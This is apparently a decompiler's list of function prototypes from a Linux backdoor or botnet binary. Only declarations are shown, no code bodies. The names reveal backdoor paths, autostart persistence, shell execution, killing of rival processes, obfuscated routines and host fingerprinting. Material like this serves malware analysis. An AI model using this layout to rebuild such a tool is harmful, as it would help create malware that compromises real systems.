int32_t std___List_base_lt_CThreadConnection__ptr__comma__std__allocator_lt_CThreadConnection__ptr__gt___gt____M_clear(int32_t ** a1);
int32_t std___List_base_lt_CThreadConnection__ptr__comma__std__allocator_lt_CThreadConnection__ptr__gt___gt_(int32_t ** a1);
int32_t std__list_lt_CThreadConnection__ptr__comma__std__allocator_lt_CThreadConnection__ptr__gt___gt_(int32_t ** a1);
int32_t CThreadMessageList_lt_CThreadConnection_gt_(int32_t a1);
int32_t CThreadMessageList_lt_CThreadConnection_gt__249(int32_t a1);
int32_t CThreadSignaledMessageList_lt_CThreadConnection_gt_(int32_t a1);
int32_t std__allocator_lt_CThreadShell__ptr__gt__250(int32_t a1);
int32_t std___List_base_lt_CThreadShell__ptr__comma__std__allocator_lt_CThreadShell__ptr__gt___gt___get_allocator(int32_t result, int32_t * a2);
int32_t __gnu_cxx____mt_alloc_lt_std___List_node_lt_CThreadShell__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___deallocate(int32_t * a1, int32_t * a2, int32_t a3);
int32_t std___List_base_lt_CThreadShell__ptr__comma__std__allocator_lt_CThreadShell__ptr__gt___gt____M_put_node(int32_t * a1, int32_t * a2);
int32_t std___List_base_lt_CThreadShell__ptr__comma__std__allocator_lt_CThreadShell__ptr__gt___gt____M_clear(int32_t ** a1);
int32_t std___List_base_lt_CThreadShell__ptr__comma__std__allocator_lt_CThreadShell__ptr__gt___gt_(int32_t ** a1);
int32_t std__list_lt_CThreadShell__ptr__comma__std__allocator_lt_CThreadShell__ptr__gt___gt_(int32_t ** a1);
int32_t CThreadMessageList_lt_CThreadShell_gt_(int32_t a1);
int32_t CThreadMessageList_lt_CThreadShell_gt__251(int32_t a1);
int32_t CThreadSignaledMessageList_lt_CThreadShell_gt_(int32_t a1);
void __gnu_cxx____mt_alloc_base_lt_std___List_node_lt_CCmdMsg__ptr__gt___gt_(void);
int32_t __gnu_cxx____mt_alloc_lt_std___List_node_lt_CCmdMsg__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__252(int32_t a1);
int32_t std__allocator_lt_std___List_node_lt_CCmdMsg__ptr__gt___gt__253(int32_t a1);
int32_t __gnu_cxx____mt_alloc_lt_std___List_node_lt_CCmdMsg__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__254(int32_t a1);
int32_t std__allocator_lt_std___List_node_lt_CCmdMsg__ptr__gt___gt__255(int32_t a1, int32_t a2);
int32_t std___List_base_lt_CCmdMsg__ptr__comma__std__allocator_lt_CCmdMsg__ptr__gt___gt____List_impl_256(int32_t ** a1, int32_t a2);
int32_t std___List_base_lt_CCmdMsg__ptr__comma__std__allocator_lt_CCmdMsg__ptr__gt___gt__257(int32_t ** a1, int32_t a2);
int32_t std__list_lt_CCmdMsg__ptr__comma__std__allocator_lt_CCmdMsg__ptr__gt___gt__258(int32_t ** a1, int32_t a2);
int32_t CThreadMessageList_lt_CCmdMsg_gt__259(int32_t * a1);
int32_t CThreadMessageList_lt_CCmdMsg_gt__260(int32_t * a1);
int32_t CThreadSignaledMessageList_lt_CCmdMsg_gt__261(int32_t a1);
void __gnu_cxx____mt_alloc_base_lt_std___List_node_lt_CThreadConnection__ptr__gt___gt_(void);
int32_t __gnu_cxx____mt_alloc_lt_std___List_node_lt_CThreadConnection__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__262(int32_t a1);
int32_t std__allocator_lt_std___List_node_lt_CThreadConnection__ptr__gt___gt__263(int32_t a1);
int32_t __gnu_cxx____mt_alloc_lt_std___List_node_lt_CThreadConnection__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__264(int32_t a1);
int32_t std__allocator_lt_std___List_node_lt_CThreadConnection__ptr__gt___gt__265(int32_t a1, int32_t a2);
int32_t std___List_base_lt_CThreadConnection__ptr__comma__std__allocator_lt_CThreadConnection__ptr__gt___gt____List_impl_266(int32_t ** a1, int32_t a2);
int32_t std___List_base_lt_CThreadConnection__ptr__comma__std__allocator_lt_CThreadConnection__ptr__gt___gt__267(int32_t ** a1, int32_t a2);
int32_t std__list_lt_CThreadConnection__ptr__comma__std__allocator_lt_CThreadConnection__ptr__gt___gt__268(int32_t ** a1, int32_t a2);
int32_t CThreadMessageList_lt_CThreadConnection_gt__269(int32_t * a1);
int32_t CThreadMessageList_lt_CThreadConnection_gt__270(int32_t * a1);
int32_t CThreadSignaledMessageList_lt_CThreadConnection_gt__271(int32_t a1);
void __gnu_cxx____mt_alloc_base_lt_std___List_node_lt_CThreadShell__ptr__gt___gt_(void);
int32_t __gnu_cxx____mt_alloc_lt_std___List_node_lt_CThreadShell__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__272(int32_t a1);
int32_t std__allocator_lt_std___List_node_lt_CThreadShell__ptr__gt___gt__273(int32_t a1);
int32_t __gnu_cxx____mt_alloc_lt_std___List_node_lt_CThreadShell__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__274(int32_t a1);
int32_t std__allocator_lt_std___List_node_lt_CThreadShell__ptr__gt___gt__275(int32_t a1, int32_t a2);
int32_t std___List_base_lt_CThreadShell__ptr__comma__std__allocator_lt_CThreadShell__ptr__gt___gt____List_impl_276(int32_t ** a1, int32_t a2);
int32_t std___List_base_lt_CThreadShell__ptr__comma__std__allocator_lt_CThreadShell__ptr__gt___gt__277(int32_t ** a1, int32_t a2);
int32_t std__list_lt_CThreadShell__ptr__comma__std__allocator_lt_CThreadShell__ptr__gt___gt__278(int32_t ** a1, int32_t a2);
int32_t CThreadMessageList_lt_CThreadShell_gt__279(int32_t * a1);
int32_t CThreadMessageList_lt_CThreadShell_gt__280(int32_t * a1);
int32_t CThreadSignaledMessageList_lt_CThreadShell_gt__281(int32_t a1);
int32_t __gnu_cxx____mt_alloc_base_lt_std___Rb_tree_node_lt_void__ptr__gt___gt___max_size(void);
int32_t __gnu_cxx____mt_alloc_lt_std___Rb_tree_node_lt_void__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___allocate(int32_t * a1, uint32_t a2);
int32_t std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt____M_get_node(int32_t * a1);
int32_t std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt____M_create_node(int32_t * a1, int32_t * a2);
int32_t std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt____M_insert(int32_t * a1, int32_t * a2, int32_t * a3, int32_t * a4, int32_t * a5);
int32_t std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt___insert_unique(int32_t * a1, int32_t * a2, int32_t * a3);
int32_t std__set_lt_void__ptr__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt___insert(int32_t * a1, int32_t * a2, int32_t * a3);
int32_t CProtocolUtil__FillDnsHeader(struct struct_47 * a1, int32_t a2, int32_t a3);
int32_t CProtocolUtil__FillDnsARequest(struct struct_47 * a1, int32_t * a2, int32_t * a3);
int32_t CProtocolUtil__IsStrIPAddress(int32_t * a1);
int32_t CProtocolUtil__AnalysisDnsAnswerers(struct struct_3 * a1, int32_t * a2);
int32_t CProtocolUtil__GetDomainIPsSpecially(struct struct_3 * a1, int32_t * a2, int32_t * a3, int32_t a4);
int32_t CProvinceDns__InitReadResource(struct struct_49 * a1);
int32_t CStatBase__GetMemSize(struct _struct__IO_FILE * a1);
int32_t CStatBase__GetLocalDeviceInfo(int32_t * a1, char * str);
int32_t CStatBase__GetSysVersion(int32_t result);
int32_t CStatBase__GetOs(struct _struct__IO_FILE * a1);
int32_t CStatBase__GetLocalMac(int32_t a1, int32_t a2);
int32_t CStatBase__GetNetBytes(struct _struct__IO_FILE * a1);
int32_t CStatBase__InitNetUse(struct _struct__IO_FILE * a1);
int32_t CStatBase__InitCpuUse(struct _struct__IO_FILE * a1);
int32_t CStatBase__GetGateMac(int32_t a1);
int32_t CStatBase__GetGateIp(int32_t a1);
int32_t CStatBase__GetMacsIps(int32_t a1, int32_t a2);
int32_t CStatBase__GetCpuSpd(struct _struct__IO_FILE * a1);
int32_t CStatBase__GetLocalDevicesInfo(struct _struct__IO_FILE * a1);
void CStatBase__Initialize(struct _struct__IO_FILE * a1);
int32_t CMac(int32_t * a1);
void CMac_338(void);
int32_t CDevice(struct struct_3 * a1);
int32_t CDevice_339(int32_t a1);
void __gnu_cxx____mt_alloc_lt_CDevice_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_(void);
int32_t std__allocator_lt_CDevice_gt_(int32_t result);
int32_t __gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___operator_ptr_(int32_t * a1);
void __gnu_cxx____mt_alloc_base_lt_CDevice_gt_(void);
int32_t __gnu_cxx____mt_alloc_base_lt_CDevice_gt___destroy(int32_t a1);
int32_t CDevice_341(int32_t result, int32_t a2);
int32_t __gnu_cxx____mt_alloc_base_lt_CDevice_gt___construct(int32_t * a1, int32_t * a2);
int32_t __gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt_(int32_t * a1, int32_t * a2);
int32_t std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___begin(int32_t * a1, int32_t * a2);
int32_t __gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___operator_(int32_t * a1, int32_t * a2, int32_t * a3);
int32_t std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___operator_lsb__rsb_(int32_t * a1, int32_t * a2);
int32_t std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___end(int32_t * a1, int32_t * a2);
int32_t CDevice__operator_eq_(int32_t * a1, int32_t * a2);
int32_t std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___max_size(void);
int32_t __gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___base(int32_t * a1);
int32_t __gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___operator__(int32_t * a1);
int32_t __gnu_cxx____normal_iterator_lt_CDevice_const__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt_(int32_t * a1, int32_t * a2);
int32_t std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___end_342(int32_t * a1, int32_t a2);
int32_t std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___begin_343(int32_t * a1, int32_t ** a2);
int32_t __gnu_cxx____normal_iterator_lt_CDevice_const__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___base(int32_t * a1);
int32_t __gnu_cxx__operator_eq__eq__lt_CDevice_const__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt_(int32_t * a1, int32_t * a2);
int32_t std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___empty(int32_t * a1);
int32_t __gnu_cxx__operator__lt_CDevice_const__ptr__comma__CDevice_const__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt_(int32_t * a1, int32_t * a2);
int32_t std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___size(int32_t * a1);
int32_t __gnu_cxx____mt_alloc_lt_CDevice_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__344(int32_t a1);
int32_t std__allocator_lt_CDevice_gt__345(int32_t a1, int32_t a2);
int32_t std___Vector_base_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___get_allocator(int32_t result, int32_t * a2);
int32_t __gnu_cxx__operator_not__eq__lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt_(int32_t * a1, int32_t * a2);
int32_t std___Destroy_lt___gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt__comma__std__allocator_lt_CDevice_gt___gt_(int32_t * a1);
int32_t __gnu_cxx____mt_alloc_lt_CDevice_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___deallocate(int32_t * a1, int32_t * a2, int32_t * a3);
int32_t std___Vector_base_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt____M_deallocate(int32_t * a1, int32_t * a2, int32_t * a3);
int32_t __gnu_cxx____mt_alloc_base_lt_CDevice_gt___max_size(void);
int32_t __gnu_cxx____mt_alloc_lt_CDevice_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___allocate(int32_t * a1, int32_t * a2);
int32_t std___Vector_base_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt____M_allocate(int32_t * a1, int32_t * a2);
int32_t std____copy_backward_lt_false_comma__std__random_access_iterator_tag_gt___copy_b_lt_CDevice__ptr__comma__CDevice__ptr__gt_(int32_t * a1, int32_t * a2, int32_t * a3);
void std____copy_backward_aux_lt_CDevice__ptr__comma__CDevice__ptr__gt_(int32_t * a1, int32_t * a2, int32_t * a3);
int32_t std____copy_backward_normal_lt_true_comma__true_gt___copy_b_n_lt___gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___gt_(int32_t * a1, int32_t * a2);
int32_t std__copy_backward_lt___gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___gt_(int32_t ** a1, int32_t * a2, int32_t * a3, int32_t * a4);
int32_t std___Construct_lt_CDevice_comma__CDevice_gt_(int32_t * a1, int32_t * a2);
int32_t std___Destroy_lt_CDevice_gt_(struct struct_3 * a1);
int32_t std____destroy_aux_lt___gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___gt_(void);
int32_t std____uninitialized_copy_aux_lt___gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___gt_(int32_t ** a1, int32_t * a2);
int32_t std__uninitialized_copy_lt___gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___gt_(int32_t ** a1, int32_t * a2, int32_t * a3, int32_t * a4);
int32_t std____uninitialized_copy_a_lt___gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt__comma__CDevice_gt_(int32_t ** a1, int32_t * a2, int32_t * a3, int32_t * a4);
int32_t std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt____M_insert_aux(struct struct_12 * a1, int32_t * a2, int32_t * a3);
int32_t std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___push_back(int32_t * a1, int32_t * a2);
int32_t CSysTool__GetUpdateTemporary(int32_t * a1);
int32_t CSysTool__IsUpdateTemporary(int32_t a1);
int32_t CSysTool__GetBackDoorPath(int32_t * a1);
int32_t CSysTool__Mkdir(int32_t * a1);
int32_t CSysTool__CloseAllFileDescs(void);
int32_t CSysTool__CloseResources(void);
int32_t CSysTool__RunLinuxShell(int32_t * a1);
int32_t CSysTool__WritePid(char * path);
int32_t CSysTool__MarkPid(char * path, char ** a2);
int32_t CSysTool__IsPidExist(char * path);
int32_t CSysTool__ReleaseGates(int32_t * a1, int32_t * a2);
int32_t CSysTool__ReleaseAndStartGates(int32_t * a1);
int32_t CSysTool__SetBeikongPathfile(void);
int32_t CSysTool__GetBeikongPathfile(int32_t result);
int32_t CSysTool__IsUnderBDDir(int32_t a1);
int32_t CSysTool__GetBackDoorFile(int32_t * a1, int32_t a2, int32_t a3);
int32_t CSysTool__CheckGatesType(int32_t a1);
int32_t CSysTool__GetBackDoorLockFile(int32_t * a1, int32_t a2);
int32_t CSysTool__GetSystoolPath(int32_t result);
int32_t CSysTool__GetSystoolFile(int32_t * a1, char * a2, int32_t a3);
int32_t CSysTool__HandleSystools(int32_t * a1);
int32_t CSysTool__DoUpdate(int32_t a1, int32_t a2);
int32_t CSysTool__Ikdfu94(void);
int32_t CSysTool__Ower6msf(int32_t a1);
int32_t CSysTool__ReadPid(char * path);
int32_t CSysTool__KillPid(char * a1);
int32_t CSysTool__KillGatesIfExist(void);
int32_t CSysTool__KillChaos(int32_t a1);
int32_t CIHNs5r__Udjf34(int32_t * a1, struct struct_1 * a2);
int32_t CIHNs5r__Udjf34_354(struct struct_52 * a1, int32_t a2, int32_t a3);
int32_t CIHNs5r__Udjf32(struct struct_1 * a1, int32_t * a2, struct struct_1 * a3);
int32_t CIHNs5r__Udjf87(int32_t * a1, struct struct_1 * a2, int32_t * a3);
int32_t CIHNs5r__Udjf87_355(struct struct_1 * a1, struct struct_1 * a2, uint32_t a3);
int32_t CIHNs5r__Udjf31(int32_t * a1, struct struct_1 * a2, struct struct_1 * a3);
int32_t CIHNs5r__Udjf31_356(int32_t * a1, int32_t * a2, struct struct_1 * a3);
int32_t CIHNs5r__Udjf01(int32_t ** a1, struct struct_1 * a2, int32_t ** a3);
int32_t CIHNs5r__Udjf69(int32_t ** a1, int32_t * a2, int32_t * a3, struct struct_1 * a4, int32_t * a5);
int32_t Ytsd0(int32_t a1);
int32_t Nh76f(int32_t result, struct struct_59 * a2);
int32_t Mid89(struct struct_59 * a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5);
int32_t UYT54(int32_t result);
int32_t Uidi(int32_t result);
int32_t std__vector_lt_char_comma__std__allocator_lt_char_gt___gt__357(int32_t ** a1, int32_t * a2, int32_t * a3, int32_t a4);
int32_t CThreadClientStatus_425(struct struct_3 * a1, int32_t result);
int32_t CThreadConnection_429(struct struct_61 * a1, int32_t a2, int32_t a3, int32_t a4);
int32_t CThreadConnection__CloseSocket(int32_t a1);
int32_t CThreadFXConnection_433(struct struct_62 * a1, int32_t a2, int32_t a3);
int32_t CThreadFXConnection__CloseSocket(int32_t a1);
int32_t CThreadDoFun_437(int32_t * a1);
int32_t CThreadFakeDetect_441(struct struct_63 * a1, int32_t a2);
int32_t CThreadKillChaos_449(int32_t * a1);
int32_t CThreadLoopCmd_453(struct struct_3 * a1, int32_t a2);
int32_t CThreadMonGates_457(int32_t * a1, int32_t a2);
int32_t CThreadRecycle_461(struct struct_3 * a1, int32_t result);
int32_t CThreadShellRecycle_469(struct struct_3 * a1, int32_t result);
int32_t CThreadTaskGates_473(struct struct_3 * a1, int32_t result);
int32_t CAutoLock_492(struct struct_68 * a1, int32_t a2, uint32_t a3);
int32_t CAutoLock__Unlock(struct struct_68 * a1);
void CAutoLock_493(struct struct_68 * a1);
int32_t CFileOp__ReadFile(int32_t ** a1, int32_t fd, char * buf, int32_t nbyte);
int32_t CFileOp__CloseFile(int32_t fd);
int32_t CFileOp__FileExists(char * path);
int32_t CFileOp__OpenFile(int32_t ** a1, char * path, int32_t a3, int32_t a4);
int32_t CFileOp__RemoveFile(char * file_path);
int32_t CFileOp__C0pyFile(int32_t a1, int32_t a2);
int32_t CFileOp__GetTgtFileSize(char * path);
int32_t CFileOp__ModifyFile(char * path, int32_t * a2, int32_t * a3, int32_t a4, int32_t * a5);
int32_t CIHNs5r(int32_t * a1);
void CIHNs5r_500(void);
int32_t CIHNs5r_501(int32_t * a1, struct struct_1 * a2);
int32_t CIHNs5r__Udjf66(struct struct_1 * a1, struct struct_1 * a2);
int32_t CIHNs5r__Udjf67(int32_t * a1, int32_t * a2, struct struct_1 * a3);
int32_t CIHNs5r__Udjf68(struct struct_3 * a1, int32_t * a2, struct struct_1 * a3);
int32_t CIHNs5r__Udjf32_505(int32_t * a1, int32_t * a2, int32_t a3);
int32_t CIHNs5r__Udjf00(int32_t * a1, int32_t * a2, int32_t * a3);
int32_t CIHNs5r__Udjf01_506(struct struct_1 * a1, int32_t a2);
int32_t CMd5A____MD5Init(struct struct_75 * a1);
int32_t CMd5A____MD5_memcpy(int32_t * a1, int32_t * a2, int32_t * a3);
int32_t CMd5A____Encode(int32_t * a1, int32_t * a2, int32_t * a3);
int32_t CMd5A____MD5_memset(int32_t * a1, int32_t * a2, int32_t * a3);
int32_t CMd5A____Decode(int32_t * a1, int32_t * a2, uint32_t a3);
int32_t CMd5A____MD5Transform(struct struct_45 * a1, struct struct_45 * a2);
int32_t CMd5A____MD5Update(int32_t * a1, struct struct_45 * a2, struct struct_45 * a3);
int32_t CMd5A____MD5Final(int32_t * a1, int32_t * a2);
int32_t CMd5A__MDString(int32_t * a1, struct struct_45 * a2);
int32_t CMedia_511(struct struct_3 * a1, int32_t a2, int32_t a3);
void CMedia_513(void);
int32_t CNetBase__GetSockName(int32_t sock);
int32_t CNetBase__SetKeepAlive(int32_t sock);
int32_t CNetBase__SendTo(int32_t sock, char * message, int32_t length, struct _sockaddr * a4, int32_t a5);
int32_t CNetBase__RecvFrom(int32_t a1, int32_t a2, int32_t a3, int16_t a4, uint32_t a5);
int32_t CNetBase__CreateSocket(int32_t a1);
int32_t CNetBase__SetSendBufSize(int32_t sock);
int32_t CNetBase__Bind(int32_t a1, int32_t a2);
int32_t CNetBase__Listen(int32_t sock, int32_t backlog);
int32_t CNetBase__Accept(int32_t sock, struct _sockaddr * addr, int32_t * addr_len);
int32_t CNetBase__SetRecvTimeOut(int32_t sock, int32_t a2);
int32_t CNetBase__Close(int32_t fd);
int32_t CNetBase__WaitRecv(uint32_t a1, struct _sockaddr * a2);
int32_t CNetBase__Accept_523(int32_t a1, struct _sockaddr * a2, int32_t * a3, struct _sockaddr * a4);
void CThreadCondition_524(void);
void CThreadCondition_526(void);
int32_t CThreadCondition__InitCondition(int32_t a1);
int32_t CThreadCondition__DestroyCondition(int32_t * mutex2);
int32_t CThread(struct struct_78 * a1);
int32_t CThread__StartThread(int32_t a1);
void CThreadMutex_531(void);
void CThreadMutex_533(void);
int32_t CThreadMutex__InitMutex(int32_t a1);
int32_t CThreadMutex__Lock(int32_t a1);
int32_t CThreadMutex__Unlock(int32_t a1);
int32_t CThreadMutex__DestroyMutex(int32_t * mutex);
int32_t CUtility__Int2String(int32_t result, int32_t a2);
int32_t CUtility__IsRoot(void);
int32_t CUtility__EString(int32_t a1, int32_t a2, int32_t a3);
int32_t CUtility__Sleep(int32_t * a1);
int32_t CUtility__GetFileA(int32_t * a1, int32_t a2, int32_t a3);
int32_t CUtility__GetPathA(char * a1, int32_t a2, char * a3);
int32_t CUtility__GetParentPath(int32_t result);
int32_t CUtility__GetTickCount(void);
int32_t CUtility__GetDoFun(struct struct_45 * a1, struct struct_45 * a2);
int32_t CUtility__IntDe(int32_t a1);
int32_t CDjfl87__QQifu1(int32_t a1);
int32_t CDjfl87__QQifu2(int32_t a1);
int32_t CDjfl87__QQifu3(int32_t result, int32_t * a2, int32_t a3);
int32_t CDjfl87__QQifu4(struct struct_59 * a1, int32_t * a2, int32_t * a3, int32_t a4);
int32_t CDjfl87__QQifu5(int32_t result, int32_t a2, int32_t a3);
int32_t CDjfl87__QQifu6(struct struct_59 * a1, struct struct_59 * a2, int32_t a3);
int32_t CUtility__Split(struct struct_3 * a1, char * a2, int32_t a3);
int32_t CUtility__Split_541(char * a1, int32_t a2, int32_t * a3);
int32_t CUtility__GetModuleFullPath(int32_t * a1);
int32_t CUtility__SetAutoStart(char * a1, int32_t * a2, int32_t a3);
int32_t CUtility__GetCurrentPathFile(int32_t * a1, char * a2);
int32_t CUtility__GetCurrentPathFile_542(int32_t * a1);
int32_t __pthread_create_2_1(int32_t a1);
int32_t __pthread_attr_init_2_1(int32_t a1);
int32_t __pthread_mutex_lock_internal(struct struct_3 * a1, int32_t * a2, int32_t * a3, int32_t * a4);
int32_t __pthread_mutex_unlock_usercnt(int32_t a1, int32_t a2);
int32_t __pthread_mutex_unlock_internal(struct struct_45 * a1);
int32_t __pthread_cond_init(struct struct_82 * a1, char * a2);
int32_t __pthread_unwind(int32_t a1);
int32_t __pthread_enable_asynccancel(void);
int32_t __pthread_disable_asynccancel(int32_t a1, int32_t a2);
int32_t __lll_mutex_lock_wait(int32_t a1, int32_t a2);
int32_t __lll_mutex_unlock_wake(int32_t a1);
void __libc_write(void);
int32_t __write_nocancel(int32_t * a1, int32_t a2, int32_t * a3, int32_t a4);
int32_t __libc_recvfrom(int32_t a1);
int32_t __libc_lseek(int32_t a1, int32_t a2, int32_t a3);
int32_t __gnu_cxx____pool_lt_true_gt____M_reserve_block(struct struct_88 * a1, int32_t a2, int32_t a3);
int32_t __gnu_cxx____pool_lt_true_gt____M_get_thread_id(int32_t * a1);
int32_t __gnu_cxx____pool_lt_true_gt____M_reclaim_block(struct struct_91 * a1, int32_t ** a2, struct struct_88 * a3, int32_t a4, int32_t a5, int32_t a6, int32_t a7, int32_t a8);
void std__length_error(void);
int32_t std____throw_bad_alloc(void);
int32_t std____throw_logic_error(char * a1, int32_t a2, int32_t a3, int32_t a4);
int32_t std____throw_length_error(char * a1, int32_t a2, int32_t a3, int32_t a4);
int32_t std____throw_out_of_range(char * a1, int32_t a2);
int32_t std__logic_error(int32_t * a1, int32_t a2);
int32_t std__logic_error_568(int32_t * a1, int32_t a2);
int32_t std__out_of_range_570(int32_t * a1, int32_t a2);
int32_t std__length_error_572(int32_t * a1, int32_t a2);
void std__logic_error_578(void);
int32_t std___Rb_tree_increment(int32_t a1);
int32_t std___Rb_tree_increment_590(void);
int32_t std___Rb_tree_decrement(struct struct_94 * a1, int32_t a2, int32_t a3);
int32_t std___Rb_tree_rotate_left(int32_t * a1, int32_t ** a2, int32_t * a3, int32_t * a4);
int32_t std___Rb_tree_rotate_right(int32_t * a1, int32_t ** a2, int32_t * a3, int32_t * a4);
int32_t std___Rb_tree_insert_and_rebalance(int32_t ** a1, struct struct_96 * a2, int32_t * a3, struct struct_94 * a4);
void std__allocator_lt_char_gt_(void);
void std__allocator_lt_char_gt__593(void);
int32_t std__allocator_lt_char_gt__596(int32_t a1);
int32_t std__allocator_lt_char_gt__598(int32_t a1);
int32_t std__allocator_lt_char_gt__599(int32_t a1);
void std__char_traits_lt_char_gt___eq(void);
int32_t _ZSt6searchIPKcS1_PFbRS0_S2_EET_S5_S5_T0_S6_T1_(int32_t a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5, int32_t a6, int32_t a7, int32_t a8, int32_t a9, int32_t * a10, int32_t a11, int32_t a12);
int32_t std__string__c_str(int32_t * a1);
int32_t std__string__size(int32_t * a1);
int32_t std__string__length(int32_t * a1);
int32_t std__string__empty(int32_t * a1);
int32_t std__string__find(int32_t * a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5, int32_t a6, int32_t a7, int32_t a8, int32_t a9);
int32_t std__string__rfind(int32_t * a1, char a2, int32_t a3, int32_t a4);
int32_t std__string__compare(int32_t * a1, int32_t * a2);
int32_t std__string__find_616(int32_t a1, int32_t a2, int32_t a3);
int32_t std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt_(int32_t * a1);
int32_t std__string___Rep___S_create(int32_t * a1, int32_t * a2);
int32_t std__string___Rep___M_clone(struct struct_98 * a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5, int32_t a6, int32_t a7);
int32_t std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__636(int32_t * a1, int32_t * a2);
int32_t std__string___Rep___M_destroy(int32_t * a1);
int32_t std__string___S_construct_lt_char__ptr__gt_(char * a1, char * a2, int32_t * a3, int32_t a4, int32_t a5, int32_t a6, int32_t a7, int32_t a8);
int32_t std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__640(int32_t * a1, int32_t * a2, int32_t a3, int32_t a4, int32_t a5, int32_t a6, int32_t a7, int32_t a8, int32_t a9);
int32_t std__string__substr(int32_t a1, int32_t * a2, uint32_t a3, int32_t a4);
int32_t std__string___M_mutate(int32_t ** a1, int32_t ** a2, int32_t a3, int32_t a4);
